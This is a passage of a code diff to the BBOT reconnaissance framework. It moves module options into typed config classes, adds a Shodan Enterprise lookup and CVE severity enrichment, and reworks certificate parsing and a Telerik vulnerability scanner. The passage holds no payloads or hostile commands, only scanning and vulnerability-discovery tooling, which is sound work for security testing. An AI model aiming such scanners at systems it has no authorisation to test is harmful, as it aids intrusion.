 _securitytxt_regex = r"^(?P<k>\w+): *(?P<v>.*)$"
 securitytxt_regex = re.compile(_securitytxt_regex, re.I | re.M)
@@ -58,20 +59,16 @@
 class securitytxt(BaseModule):
     watched_events = ["DNS_NAME"]
     produced_events = ["EMAIL_ADDRESS", "URL_UNVERIFIED"]
-    flags = ["subdomain-enum", "cloud-enum", "active", "web-basic", "safe"]
+    flags = ["safe", "subdomain-enum", "cloud-enum", "active", "web"]
     meta = {
         "description": "Check for security.txt content",
         "author": "@colin-stubbs",
         "created_date": "2024-05-26",
     }
-    options = {
-        "emails": True,
-        "urls": True,
-    }
-    options_desc = {
-        "emails": "emit EMAIL_ADDRESS events",
-        "urls": "emit URL_UNVERIFIED events",
-    }
+
+    class Config(BaseModuleConfig):
+        emails: bool = Field(True, description="emit EMAIL_ADDRESS events")
+        urls: bool = Field(True, description="emit URL_UNVERIFIED events")
 
     async def setup(self):
         self._emails = self.config.get("emails", True)
diff --git a/bbot/modules/shodan_dns.py b/bbot/modules/shodan_dns.py
index 2ad0bc5057..b636acb2ea 100644
--- a/bbot/modules/shodan_dns.py
+++ b/bbot/modules/shodan_dns.py
@@ -1,18 +1,15 @@
 from bbot.modules.templates.shodan import shodan
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class shodan_dns(shodan):
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["subdomain-enum", "passive", "safe"]
-    meta = {
-        "description": "Query Shodan for subdomains",
-        "created_date": "2022-07-03",
-        "author": "@TheTechromancer",
-        "auth_required": True,
-    }
-    options = {"api_key": ""}
-    options_desc = {"api_key": "Shodan API key"}
+    flags = ["safe", "subdomain-enum", "passive"]
+    meta = {"description": "Query Shodan for subdomains", "created_date": "2022-07-03", "author": "@TheTechromancer"}
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="Shodan API key", sensitive=True, mandatory=True)
 
     base_url = "https://api.shodan.io"
 
diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py
new file mode 100644
index 0000000000..b874428169
--- /dev/null
+++ b/bbot/modules/shodan_enterprise.py
@@ -0,0 +1,158 @@
+from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
+
+
+class shodan_enterprise(BaseModule):
+    watched_events = ["IP_ADDRESS"]
+    produced_events = ["OPEN_TCP_PORT", "TECHNOLOGY", "OPEN_UDP_PORT", "FINDING"]
+    flags = ["safe", "passive"]
+    meta = {
+        "created_date": "2026-01-27",
+        "author": "@Control-Punk-Delete",
+        "description": "Shodan Enterprise API integration module.",
+    }
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="Shodan API Key", sensitive=True, mandatory=True)
+        in_scope_only: bool = Field(
+            True, description="Only query in-scope IPs. If False, will query up to distance 1."
+        )
+
+    in_scope_only = True
+
+    base_url = "https://api.shodan.io"
+
+    async def setup(self):
+        self.api_key = self.config.get("api_key", "")
+        if not self.api_key:
+            return None, "No API key specified"
+        if not self.config.get("in_scope_only", True):
+            self.in_scope_only = False
+            self.scope_distance_modifier = 1
+            self.warning(
+                "in_scope_only is disabled. This module queries each IP individually and may consume a lot of API credits!"
+            )
+        return True
+
+    async def handle_event(self, event):
+        ip = event.data
+        url = f"{self.base_url}/shodan/host/{self.helpers.quote(ip)}?key={{api_key}}"
+        r = await self.api_request(url)
+        if r is None:
+            self.warning(f"No response from Shodan API for {ip}")
+            return
+        status_code = getattr(r, "status_code", 0)
+        if status_code == 404:
+            self.warning(f"No Shodan data about {ip}")
+            return
+        if not getattr(r, "is_success", False):
+            self.warning(f"Shodan API error for {ip} (status {status_code})")
+            return
+        try:
+            host = r.json()
+        except Exception as e:
+            self.warning(f"Failed to parse Shodan API response for {ip}: {e}")
+            return
+
+        if "data" not in host:
+            self.warning(f"No Shodan data about {ip}")
+            return
+
+        # NIST cvss score severity mapping
+        severity_map = {"NONE": 0.0, "LOW": 0.1, "MEDIUM": 4.0, "HIGH": 7.0, "CRITICAL": 9.0}
+
+        for data in host["data"]:
+            # TECHNOLOGY Extraction
+            ## TECHNOLOGY CPE Formats
+            for technology in data.get("cpe", []):
+                tech = {"technology": technology, "host": data.get("ip_str"), "port": data.get("port")}
+                await self.emit_event(
+                    tech,
+                    "TECHNOLOGY",
+                    parent=event,
+                    tags=data.get("tags") or [],
+                    context=f"{{module}} queried Shodan API for {ip} and found TECHNOLOGY: {technology}",
+                )
+
+            for technology in data.get("cpe23", []):
+                tech = {"technology": technology, "host": data.get("ip_str"), "port": data.get("port")}
+                await self.emit_event(
+                    tech,
+                    "TECHNOLOGY",
+                    parent=event,
+                    tags=data.get("tags") or [],
+                    context=f"{{module}} queried Shodan API for {ip} and found TECHNOLOGY: {technology}",
+                )
+
+            # TECHNOLOGY Additional Formats
+            if "product" in data:
+                tech = {
+                    "technology": data.get("product"),
+                    "host": data.get("ip_str"),
+                    "port": data.get("port"),
+                }
+                await self.emit_event(
+                    tech,
+                    "TECHNOLOGY",
+                    parent=event,
+                    tags=data.get("tags") or [],
+                    context=f"{{module}} queried Shodan API for {ip} and found TECHNOLOGY: {data['product']}",
+                )
+
+            if "http" in data:
+                if "components" in data["http"]:
+                    for technology in data["http"]["components"]:
+                        tech = {"technology": technology, "host": data.get("ip_str"), "port": data.get("port")}
+                        tags = list(data["http"]["components"][technology].get("categories", []))
+                        tags.append("web-technology")
+                        await self.emit_event(
+                            tech,
+                            "TECHNOLOGY",
+                            parent=event,
+                            tags=tags,
+                            context=f"{{module}} queried Shodan API for {ip} and found TECHNOLOGY: {technology}",
+                        )
+
+            # OPEN_TCP_PORT, OPEN_UDP_PORT Extraction
+            if "port" in data and "transport" in data:
+                if data["transport"] == "tcp":
+                    await self.emit_event(
+                        self.helpers.make_netloc(ip, data.get("port")),
+                        "OPEN_TCP_PORT",
+                        parent=event,
+                        tags=data.get("tags") or [],
+                        context=f"{{module}} queried Shodan API for {ip} and found OPEN_TCP_PORT: {data.get('port')}",
+                    )
+                elif data["transport"] == "udp":
+                    await self.emit_event(
+                        self.helpers.make_netloc(ip, data.get("port")),
+                        "OPEN_UDP_PORT",
+                        parent=event,
+                        tags=data.get("tags") or [],
+                        context=f"{{module}} queried Shodan API for {ip} and found OPEN_UDP_PORT: {data.get('port')}",
+                    )
+                else:
+                    self.warning(f"Unknown transport {data['transport']}")
+
+            # FINDING Extraction
+            if "vulns" in data:
+                for cve, vuln_data in data["vulns"].items():
+                    cvss = vuln_data.get("cvss", 0)
+                    severity = max(
+                        (level for level, threshold in severity_map.items() if cvss >= threshold),
+                        key=lambda x: severity_map[x],
+                    )
+                    vuln = {
+                        "name": "Shodan - Possible Vulnerabilities",
+                        "host": data.get("ip_str"),
+                        "severity": severity,
+                        "description": cve,
+                        "confidence": "LOW",
+                    }
+                    await self.emit_event(
+                        vuln,
+                        "FINDING",
+                        parent=event,
+                        tags=[],
+                        context=f"{{module}} queried Shodan API for {ip} and found FINDING {cve}",
+                    )
diff --git a/bbot/modules/shodan_idb.py b/bbot/modules/shodan_idb.py
index 4a3e2b214a..9eec8104a5 100644
--- a/bbot/modules/shodan_idb.py
+++ b/bbot/modules/shodan_idb.py
@@ -1,5 +1,7 @@
 from bbot.modules.base import BaseModule
 import time
+from bbot.core.config.models import BaseModuleConfig, Field
+from typing import Optional
 
 
 class shodan_idb(BaseModule):
@@ -40,17 +42,19 @@ class shodan_idb(BaseModule):
     """
 
     watched_events = ["IP_ADDRESS", "DNS_NAME"]
-    produced_events = ["TECHNOLOGY", "VULNERABILITY", "FINDING", "OPEN_TCP_PORT", "DNS_NAME"]
-    flags = ["passive", "safe", "portscan", "subdomain-enum"]
+    produced_events = ["TECHNOLOGY", "FINDING", "OPEN_TCP_PORT", "DNS_NAME"]
+    flags = ["safe", "passive", "portscan", "subdomain-enum"]
     meta = {
         "description": "Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities",
         "created_date": "2023-12-22",
         "author": "@TheTechromancer",
     }
-    options = {"retries": None}
-    options_desc = {
-        "retries": "How many times to retry API requests (e.g. after a 429 error). Overrides the global web.api_retries setting."
-    }
+
+    class Config(BaseModuleConfig):
+        retries: Optional[int] = Field(
+            None,
+            description="How many times to retry API requests (e.g. after a 429 error). Overrides the global web.api_retries setting.",
+        )
 
     # we typically don't want to abort this module
     _api_failure_abort_threshold = 9999999999
@@ -60,10 +64,20 @@ class shodan_idb(BaseModule):
     _qsize = 100
 
     base_url = "https://internetdb.shodan.io"
+    cvedb_url = "https://cvedb.shodan.io/cve"
+
+    # CVSS v3 score thresholds per FIRST.org / NVD
+    _cvss_severity_thresholds = (
+        (9.0, "CRITICAL"),
+        (7.0, "HIGH"),
+        (4.0, "MEDIUM"),
+        (0.1, "LOW"),
+    )
 
     async def setup(self):
         await super().setup()
         self.last_request_time = 0
+        self._cve_cache = {}
         return True
 
     def _incoming_dedup_hash(self, event):
@@ -91,7 +105,7 @@ async def handle_event(self, event):
 
         r = await self.api_request(url)
         if r is None:
-            self.debug(f"No response for {event.data}")
+            self.debug(f"No response for {event.pretty_string}")
             return
         try:
             data = r.json()
@@ -115,7 +129,7 @@ async def _parse_response(self, data: dict, event, ip):
         """Handles emitting events from returned JSON"""
         data: dict  # has keys: cpes, hostnames, ip, ports, tags, vulns
         ip = str(ip)
-        query_host = ip if event.data == ip else f"{event.data} ({ip})"
+        query_host = ip if event.data == ip else f"{event.pretty_string} ({ip})"
         # ip is a string, ports is a list of ports, the rest is a list of strings
         for hostname in data.get("hostnames", []):
             if hostname != event.data:
@@ -123,32 +137,91 @@ async def _parse_response(self, data: dict, event, ip):
                     hostname,
                     "DNS_NAME",
                     parent=event,
-                    context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found {{event.type}}: {{event.data}}',
+                    context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found {{event.type}}: {{event.pretty_string}}',
                 )
         for cpe in data.get("cpes", []):
             await self.emit_event(
                 {"technology": cpe, "host": str(event.host)},
                 "TECHNOLOGY",
                 parent=event,
-                context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found {{event.type}}: {{event.data}}',
+                context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found {{event.type}}: {{event.pretty_string}}',
             )
         for port in data.get("ports", []):
             await self.emit_event(
                 self.helpers.make_netloc(event.data, port),
                 "OPEN_TCP_PORT",
                 parent=event,
-                context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found {{event.type}}: {{event.data}}',
+                context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found {{event.type}}: {{event.pretty_string}}',
             )
-        vulns = data.get("vulns", [])
+        vulns = list(dict.fromkeys(data.get("vulns", [])))
         if vulns:
+            await self._enrich_cves(vulns)
+            cve_entries = []
+            for cve_id in vulns:
+                details = self._cve_cache.get(cve_id)
+                cvss = None
+                if details:
+                    for key in ("cvss_v3", "cvss", "cvss_v2"):
+                        cvss = details.get(key)
+                        if cvss is not None:
+                            break
+                cve_entries.append({"cve": cve_id, "cvss": cvss, "severity": self._cvss_to_severity(cvss)})
+            # sort highest CVSS first so the worst shows up first
+            cve_entries.sort(key=lambda e: (e["cvss"] is None, -(e["cvss"] or 0), e["cve"]))
+
+            cve_parts = []
+            for entry in cve_entries:
+                sev = entry["severity"] or "UNKNOWN"
+                cvss_str = f"{entry['cvss']}" if entry["cvss"] is not None else "no CVSS"
+                cve_parts.append(f"{entry['cve']} [{sev}, {cvss_str}]")
+            description = f"Shodan reported possible vulnerabilities for {query_host}: {', '.join(cve_parts)}"
+
             vulns_str = ", ".join([str(v) for v in vulns])
             await self.emit_event(
-                {"description": f"Shodan reported possible vulnerabilities: {vulns_str}", "host": str(event.host)},
+                {
+                    "description": description,
+                    "host": str(event.host),
+                    "cves": vulns,
+                    "name": "Shodan - Possible Vulnerabilities",
+                    # always INFO: shodan_idb only matches banners — there is no exploitation
+                    # or in-product confirmation that any of these CVEs are actually present
+                    "severity": "INFO",
+                    "confidence": "LOW",
+                },
                 "FINDING",
                 parent=event,
                 context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found potential {{event.type}}: {vulns_str}',
             )
 
+    async def _enrich_cves(self, cve_ids):
+        """Batch-fetch CVE details from Shodan's CVEDB, skipping any already cached."""
+        uncached = [cve_id for cve_id in cve_ids if cve_id not in self._cve_cache]
+        if not uncached:
+            return
+        probes = [(f"{self.cvedb_url}/{cve_id}", {}, cve_id) for cve_id in uncached]
+        async for url, response, cve_id in self.helpers.request_batch_stream(probes, threads=10):
+            details = None
+            if response is not None and response.status_code == 200:
+                try:
+                    details = response.json()
+                except Exception as e:
+                    self.verbose(f"Error parsing JSON response from {url}: {e}")
+                    self.trace()
+            self._cve_cache[cve_id] = details
+
+    @classmethod
+    def _cvss_to_severity(cls, score):
+        if score is None:
+            return None
+        try:
+            score = float(score)
+        except (TypeError, ValueError):
+            return None
+        for threshold, label in cls._cvss_severity_thresholds:
+            if score >= threshold:
+                return label
+        return None
+
     def get_ip(self, event):
         """
         Get the first available IP address from an event (IP_ADDRESS or DNS_NAME)
diff --git a/bbot/modules/skymem.py b/bbot/modules/skymem.py
index 6f39a6c0d8..4fd3e072ab 100644
--- a/bbot/modules/skymem.py
+++ b/bbot/modules/skymem.py
@@ -6,7 +6,7 @@
 class skymem(emailformat):
     watched_events = ["DNS_NAME"]
     produced_events = ["EMAIL_ADDRESS"]
-    flags = ["passive", "email-enum", "safe"]
+    flags = ["safe", "passive", "email-enum"]
     meta = {
         "description": "Query skymem.info for email addresses",
         "created_date": "2022-07-11",
@@ -51,5 +51,5 @@ async def handle_event(self, event):
                     email,
                     "EMAIL_ADDRESS",
                     parent=event,
-                    context=f'{{module}} searched skymem.info for "{query}" and found {{event.type}} on page {i + 1}: {{event.data}}',
+                    context=f'{{module}} searched skymem.info for "{query}" and found {{event.type}} on page {i + 1}: {{event.pretty_string}}',
                 )
diff --git a/bbot/modules/smuggler.py b/bbot/modules/smuggler.py
deleted file mode 100644
index 357fec1885..0000000000
--- a/bbot/modules/smuggler.py
+++ /dev/null
@@ -1,47 +0,0 @@
-import sys
-
-from bbot.modules.base import BaseModule
-
-
-"""
-wrapper for https://github.com/defparam/smuggler.git
-"""
-
-
-class smuggler(BaseModule):
-    watched_events = ["URL"]
-    produced_events = ["FINDING"]
-    flags = ["active", "aggressive", "slow", "web-thorough"]
-    meta = {"description": "Check for HTTP smuggling", "created_date": "2022-07-06", "author": "@liquidsec"}
-
-    in_scope_only = True
-    per_hostport_only = True
-
-    deps_ansible = [
-        {
-            "name": "Get smuggler repo",
-            "git": {"repo": "https://github.com/defparam/smuggler.git", "dest": "#{BBOT_TOOLS}/smuggler"},
-        }
-    ]
-
-    async def handle_event(self, event):
-        command = [
-            sys.executable,
-            f"{self.scan.helpers.tools_dir}/smuggler/smuggler.py",
-            "--no-color",
-            "-q",
-            "-u",
-            event.data,
-        ]
-        async for line in self.run_process_live(command):
-            for f in line.split("\r"):
-                if "Issue Found" in f:
-                    technique = f.split(":")[0].rstrip()
-                    text = f.split(":")[1].split("-")[0].strip()
-                    description = f"[HTTP SMUGGLER] [{text}] Technique: {technique}"
-                    await self.emit_event(
-                        {"host": str(event.host), "url": event.data, "description": description},
-                        "FINDING",
-                        parent=event,
-                        context=f"{{module}} scanned {event.data} and found HTTP smuggling ({{event.type}}): {text}",
-                    )
diff --git a/bbot/modules/social.py b/bbot/modules/social.py
index fb46dd3870..8b1982cc3b 100644
--- a/bbot/modules/social.py
+++ b/bbot/modules/social.py
@@ -10,7 +10,7 @@ class social(BaseModule):
         "created_date": "2023-03-28",
         "author": "@TheTechromancer",
     }
-    flags = ["passive", "safe", "social-enum"]
+    flags = ["safe", "passive", "social-enum"]
 
     # platform name : (regex, case_sensitive)
     social_media_platforms = {
@@ -26,6 +26,8 @@ class social(BaseModule):
         "docker": (r"hub.docker.com/[ru]/([a-zA-Z0-9_-]+)", False),
         "huggingface": (r"huggingface.co/([a-zA-Z0-9_-]+)", False),
         "postman": (r"www.postman.com/([a-zA-Z0-9_-]+)", False),
+        # Linktree usernames are 3–30 chars of [a-z0-9._] (case-insensitive in URLs).
+        "linktree": (r"linktr\.ee/([a-zA-Z0-9._]{3,30})", False),
     }
 
     scope_distance_modifier = 1
@@ -36,7 +38,7 @@ async def setup(self):
 
     async def handle_event(self, event):
         for platform, (regex, case_sensitive) in self.compiled_regexes.items():
-            for match in regex.finditer(event.data):
+            for match in regex.finditer(event.url):
                 url = match.group()
                 profile_name = match.groups()[0]
                 if not case_sensitive:
diff --git a/bbot/modules/sslcert.py b/bbot/modules/sslcert.py
index 3c52cf64fe..3f1f3c0e19 100644
--- a/bbot/modules/sslcert.py
+++ b/bbot/modules/sslcert.py
@@ -1,189 +1,94 @@
-import asyncio
-from OpenSSL import crypto
-from contextlib import suppress
+from urllib.parse import urlparse
 
 from bbot.errors import ValidationError
 from bbot.modules.base import BaseModule
-from bbot.core.helpers.async_helpers import NamedLock
-from bbot.core.helpers.web.ssl_context import ssl_context_noverify
 
 
 class sslcert(BaseModule):
-    watched_events = ["OPEN_TCP_PORT"]
+    watched_events = ["HTTP_RESPONSE"]
     produced_events = ["DNS_NAME", "EMAIL_ADDRESS"]
-    flags = ["affiliates", "subdomain-enum", "email-enum", "active", "safe", "web-basic"]
+    flags = ["safe", "affiliates", "subdomain-enum", "email-enum", "active", "web"]
     meta = {
-        "description": "Visit open ports and retrieve SSL certificates",
+        "description": "Extract hostnames and emails from TLS certificates in HTTP responses",
         "created_date": "2022-03-30",
         "author": "@TheTechromancer",
     }
-    options = {"timeout": 5.0, "skip_non_ssl": True}
-    options_desc = {"timeout": "Socket connect timeout in seconds", "skip_non_ssl": "Don't try common non-SSL ports"}
-    deps_apt = ["openssl"]
-    deps_pip = ["pyOpenSSL~=25.3.0"]
-    _module_threads = 25
     scope_distance_modifier = 1
     _priority = 2
 
     async def setup(self):
-        self.timeout = self.config.get("timeout", 5.0)
-        self.skip_non_ssl = self.config.get("skip_non_ssl", True)
-        self.non_ssl_ports = (22, 53, 80)
-
         # sometimes we run into a server with A LOT of SANs
         # these are usually stupid and useless, so we abort based on a different threshold
         # depending on whether the parent event is in scope
         self.in_scope_abort_threshold = 50
         self.out_of_scope_abort_threshold = 10
-
         self.hosts_visited = set()
-        self.ip_lock = NamedLock()
-        return True
-
-    async def filter_event(self, event):
-        if self.skip_non_ssl and event.port in self.non_ssl_ports:
-            return False, f"Port {event.port} doesn't typically use SSL"
         return True
 
     async def handle_event(self, event):
-        _host = event.host
-        if event.port:
-            port = event.port
-        else:
-            port = 443
+        # Only process HTTPS responses with certificate info
+        cert_info = event.data.get("cert_info")
+        if not cert_info:
+            return
+
+        # Deduplicate by (host, port) to avoid processing the same cert twice
+        url = event.data.get("url", "")
+        parsed = urlparse(url)
+        host = parsed.hostname or ""
+        port = parsed.port or 443
+        host_hash = hash((host, port))
+        if host_hash in self.hosts_visited:
+            return
+        self.hosts_visited.add(host_hash)
 
-        # turn hostnames into IP address(es)
-        if self.helpers.is_ip(_host):
-            hosts = [_host]
-        else:
-            hosts = list(await self.helpers.resolve(_host))
+        # Extract DNS names and emails from cert_info
+        common_name = (cert_info.get("common_name") or "").lstrip("*.").lower()
+        sans = [s.lstrip("*.").lower() for s in cert_info.get("sans", [])]
+        emails = set(cert_info.get("emails", []))
+
+        # Build DNS names list: CN first, then SANs (excluding CN)
+        dns_names = []
+        if common_name:
+            dns_names.append(common_name)
+        for san in sans:
+            if san and san not in dns_names:
+                dns_names.append(san)
 
+        # Apply threshold
         if event.scope_distance == 0:
             abort_threshold = self.in_scope_abort_threshold
         else:
             abort_threshold = self.out_of_scope_abort_threshold
 
-        tasks = [self.visit_host(host, port) for host in hosts]
-        async for task in self.helpers.as_completed(tasks):
-            result = await task
-            if not isinstance(result, tuple) or not len(result) == 3:
-                continue
-            dns_names, emails, (host, port) = result
-            if len(dns_names) > abort_threshold:
-                netloc = self.helpers.make_netloc(host, port)
-                self.verbose(
-                    f"Skipping Subject Alternate Names (SANs) on {netloc} because number of hostnames ({len(dns_names):,}) exceeds threshold ({abort_threshold})"
-                )
-                dns_names = dns_names[:1] + [n for n in dns_names[1:] if self.scan.in_scope(n)]
-            for event_type, results in (("DNS_NAME", set(dns_names)), ("EMAIL_ADDRESS", emails)):
-                for event_data in results:
-                    if event_data is not None and event_data != event.data:
-                        self.debug(f"Discovered new {event_type} via SSL certificate parsing: [{event_data}]")
-                        try:
-                            ssl_event = self.make_event(event_data, event_type, parent=event, raise_error=True)
-                            parent_event = ssl_event.get_parent()
-                            if parent_event.scope_distance == 0:
-                                tags = ["affiliate"]
-                            else:
-                                tags = None
-                            if ssl_event:
-                                await self.emit_event(
-                                    ssl_event,
-                                    tags=tags,
-                                    context=f"{{module}} parsed SSL certificate at {event.data} and found {{event.type}}: {{event.data}}",
-                                )
-                        except ValidationError as e:
-                            self.hugeinfo(f'Malformed {event_type} "{event_data}" at {event.data}')
-                            self.debug(f"Invalid data at {host}:{port}: {e}")
+        if len(dns_names) > abort_threshold:
+            self.verbose(
+                f"Skipping SANs on {url} because count ({len(dns_names):,}) exceeds threshold ({abort_threshold})"
+            )
+            dns_names = dns_names[:1] + [n for n in dns_names[1:] if self.scan.in_scope(n)]
+
+        # Emit events
+        for event_type, results in (("DNS_NAME", set(dns_names)), ("EMAIL_ADDRESS", emails)):
+            for event_data in results:
+                if event_data is not None and event_data != str(event.host):
+                    self.debug(f"Discovered new {event_type} via TLS certificate: [{event_data}]")
+                    try:
+                        ssl_event = self.make_event(event_data, event_type, parent=event, raise_error=True)
+                        parent_event = ssl_event.get_parent()
+                        if parent_event.scope_distance == 0:
+                            tags = ["affiliate"]
+                        else:
+                            tags = None
+                        if ssl_event:
+                            await self.emit_event(
+                                ssl_event,
+                                tags=tags,
+                                context=f"{{module}} parsed TLS certificate at {url} and found {{event.type}}: {{event.data}}",
+                            )
+                    except ValidationError as e:
+                        self.hugeinfo(f'Malformed {event_type} "{event_data}" at {url}')
+                        self.debug(f"Invalid data at {url}: {e}")
 
     def on_success_callback(self, event):
         parent_scope_distance = event.get_parent().scope_distance
         if parent_scope_distance == 0 and event.scope_distance > 0:
             event.add_tag("affiliate")
-
-    async def visit_host(self, host, port):
-        host = self.helpers.make_ip_type(host)
-        netloc = self.helpers.make_netloc(host, port)
-        host_hash = hash((host, port))
-        dns_names = []
-        emails = set()
-        async with self.ip_lock.lock(host_hash):
-            if host_hash in self.hosts_visited:
-                self.debug(f"Already processed {host} on port {port}, skipping")
-                return [], [], (host, port)
-            else:
-                self.hosts_visited.add(host_hash)
-
-            host = str(host)
-
-            # Connect to the host
-            try:
-                transport, _ = await asyncio.wait_for(
-                    self.helpers.loop.create_connection(
-                        lambda: asyncio.Protocol(), host, port, ssl=ssl_context_noverify
-                    ),
-                    timeout=self.timeout,
-                )
-            except asyncio.TimeoutError:
-                self.debug(f"Timed out after {self.timeout} seconds while connecting to {netloc}")
-                return [], [], (host, port)
-            except Exception as e:
-                log_fn = self.warning
-                if isinstance(e, OSError):
-                    log_fn = self.debug
-                log_fn(f"Error connecting to {netloc}: {e}")
-                return [], [], (host, port)
-            finally:
-                with suppress(Exception):
-                    transport.close()
-
-            # Get the SSL object
-            try:
-                ssl_object = transport.get_extra_info("ssl_object")
-            except Exception as e:
-                self.verbose(f"Error getting ssl_object: {e}", trace=True)
-                return [], [], (host, port)
-
-            # Get the certificate
-            try:
-                der = ssl_object.getpeercert(binary_form=True)
-            except Exception as e:
-                self.verbose(f"Error getting peer cert: {e}", trace=True)
-                return [], [], (host, port)
-            try:
-                cert = crypto.load_certificate(crypto.FILETYPE_ASN1, der)
-            except Exception as e:
-                self.verbose(f"Error loading certificate: {e}", trace=True)
-                return [], [], (host, port)
-            issuer = cert.get_issuer()
-            if issuer.emailAddress and self.helpers.regexes.email_regex.match(issuer.emailAddress):
-                emails.add(issuer.emailAddress)
-            subject = cert.get_subject()
-            if subject.emailAddress and self.helpers.regexes.email_regex.match(subject.emailAddress):
-                emails.add(subject.emailAddress)
-            common_name = str(subject.commonName).lstrip("*.").lower()
-            dns_names = set(self.get_cert_sans(cert))
-            with suppress(KeyError):
-                dns_names.remove(common_name)
-            dns_names = [common_name] + list(dns_names)
-        return dns_names, list(emails), (host, port)
-
-    @staticmethod
-    def get_cert_sans(cert):
-        sans = []
-        raw_sans = None
-        ext_count = cert.get_extension_count()
-        for i in range(0, ext_count):
-            ext = cert.get_extension(i)
-            short_name = str(ext.get_short_name())
-            if "subjectAltName" in short_name:
-                raw_sans = str(ext)
-        if raw_sans is not None:
-            for raw_san in raw_sans.split(","):
-                hostname = raw_san.split(":", 1)[-1].strip().lower()
-                # IPv6 addresses
-                if hostname.startswith("[") and hostname.endswith("]"):
-                    hostname = hostname.strip("[]")
-                hostname = hostname.lstrip("*.")
-                sans.append(hostname)
-        return sans
diff --git a/bbot/modules/subdomaincenter.py b/bbot/modules/subdomaincenter.py
index 614be03ef8..7079d5942d 100644
--- a/bbot/modules/subdomaincenter.py
+++ b/bbot/modules/subdomaincenter.py
@@ -2,7 +2,7 @@
 
 
 class subdomaincenter(subdomain_enum):
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
     meta = {
diff --git a/bbot/modules/subdomainradar.py b/bbot/modules/subdomainradar.py
index 2a4c987948..a99063b3d0 100644
--- a/bbot/modules/subdomainradar.py
+++ b/bbot/modules/subdomainradar.py
@@ -1,29 +1,36 @@
 import time
 import asyncio
+from typing import Literal
 
 from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey
+from pydantic import Field, field_validator
+from bbot.core.config.models import BaseModuleConfig
 
 
 class SubdomainRadar(subdomain_enum_apikey):
     watched_events = ["DNS_NAME"]
     produced_events = ["DNS_NAME"]
-    flags = ["subdomain-enum", "passive", "safe"]
+    flags = ["safe", "subdomain-enum", "passive"]
     meta = {
         "description": "Query the Subdomain API for subdomains",
         "created_date": "2022-07-08",
         "author": "@TheTechromancer",
-        "auth_required": True,
-    }
-    options = {"api_key": "", "group": "fast", "timeout": 120}
-    options_desc = {
-        "api_key": "SubDomainRadar.io API key",
-        "group": "The enumeration group to use. Choose from fast, medium, deep",
-        "timeout": "Timeout in seconds",
     }
 
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="SubDomainRadar.io API key", sensitive=True, mandatory=True)
+        group: Literal["fast", "medium", "deep"] = Field(
+            "fast", description="The enumeration group to use. Choose from fast, medium, deep"
+        )
+        timeout: int = Field(120, description="Timeout in seconds")
+
+        @field_validator("group", mode="before")
+        @classmethod
+        def _normalize_case(cls, v):
+            return v.strip().lower() if isinstance(v, str) else v
+
     base_url = "https://api.subdomainradar.io"
     ping_url = f"{base_url}/profile"
-    group_choices = ("fast", "medium", "deep")
 
     # set this really high so the poll loop finishes as soon as possible
     _qsize = 9999999
@@ -31,8 +38,6 @@ class SubdomainRadar(subdomain_enum_apikey):
     async def setup(self):
         self.group = self.config.get("group", "fast").strip().lower()
         self.timeout = self.config.get("timeout", 120)
-        if self.group not in self.group_choices:
-            return False, f'Invalid group: "{self.group}", please choose from {",".join(self.group_choices)}'
         success, reason = await self.require_api_key()
         if not success:
             return success, reason
@@ -64,12 +69,13 @@ async def setup(self):
 
         self.enum_tasks = {}
         self.poll_task = asyncio.create_task(self.task_poll_loop())
+        # Track poll_task so _cancel_tasks() picks it up during shutdown
+        self._tasks.append(self.poll_task)
 
         return True
 
     def prepare_api_request(self, url, kwargs):
-        if self.api_key:
-            kwargs["headers"] = {"Authorization": f"Bearer {self.api_key}"}
+        kwargs["headers"] = {"Authorization": f"Bearer {self.api_key}"}
         return url, kwargs
 
     async def handle_event(self, event):
@@ -124,7 +130,7 @@ async def parse_response(self, response, query, event):
                         "DNS_NAME",
                         event,
                         abort_if=self.abort_if,
-                        context=f'{{module}} searched SubDomainRadar.io API for "{query}" and found {{event.type}}: {{event.data}}',
+                        context=f'{{module}} searched SubDomainRadar.io API for "{query}" and found {{event.type}}: {{event.pretty_string}}',
                     )
             return True
         return False
diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py
index 3cd0c8eed9..8fc1462f6c 100644
--- a/bbot/modules/telerik.py
+++ b/bbot/modules/telerik.py
@@ -1,6 +1,7 @@
 from sys import executable
 
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class telerik(BaseModule):
@@ -20,8 +21,8 @@ class telerik(BaseModule):
     """
 
     watched_events = ["URL", "HTTP_RESPONSE"]
-    produced_events = ["VULNERABILITY", "FINDING"]
-    flags = ["active", "aggressive", "web-thorough"]
+    produced_events = ["FINDING"]
+    flags = ["active", "loud", "invasive", "web-heavy"]
     meta = {
         "description": "Scan for critical Telerik vulnerabilities",
         "created_date": "2022-04-10",
@@ -153,11 +154,9 @@ class telerik(BaseModule):
 
     RAUConfirmed = []
 
-    options = {"exploit_RAU_crypto": False, "include_subdirs": False}
-    options_desc = {
-        "exploit_RAU_crypto": "Attempt to confirm any RAU AXD detections are vulnerable",
-        "include_subdirs": "Include subdirectories in the scan (off by default)",  # will create many finding events if used in conjunction with web spider or ffuf
-    }
+    class Config(BaseModuleConfig):
+        exploit_RAU_crypto: bool = Field(False, description="Attempt to confirm any RAU AXD detections are vulnerable")
+        include_subdirs: bool = Field(False, description="Include subdirectories in the scan (off by default)")
 
     in_scope_only = True
 
@@ -186,16 +185,16 @@ def normalize_url(url):
     def _incoming_dedup_hash(self, event):
         if event.type == "URL":
             if self.config.get("include_subdirs") is True:
-                return hash(f"{event.type}{self.normalize_url(event.data)}")
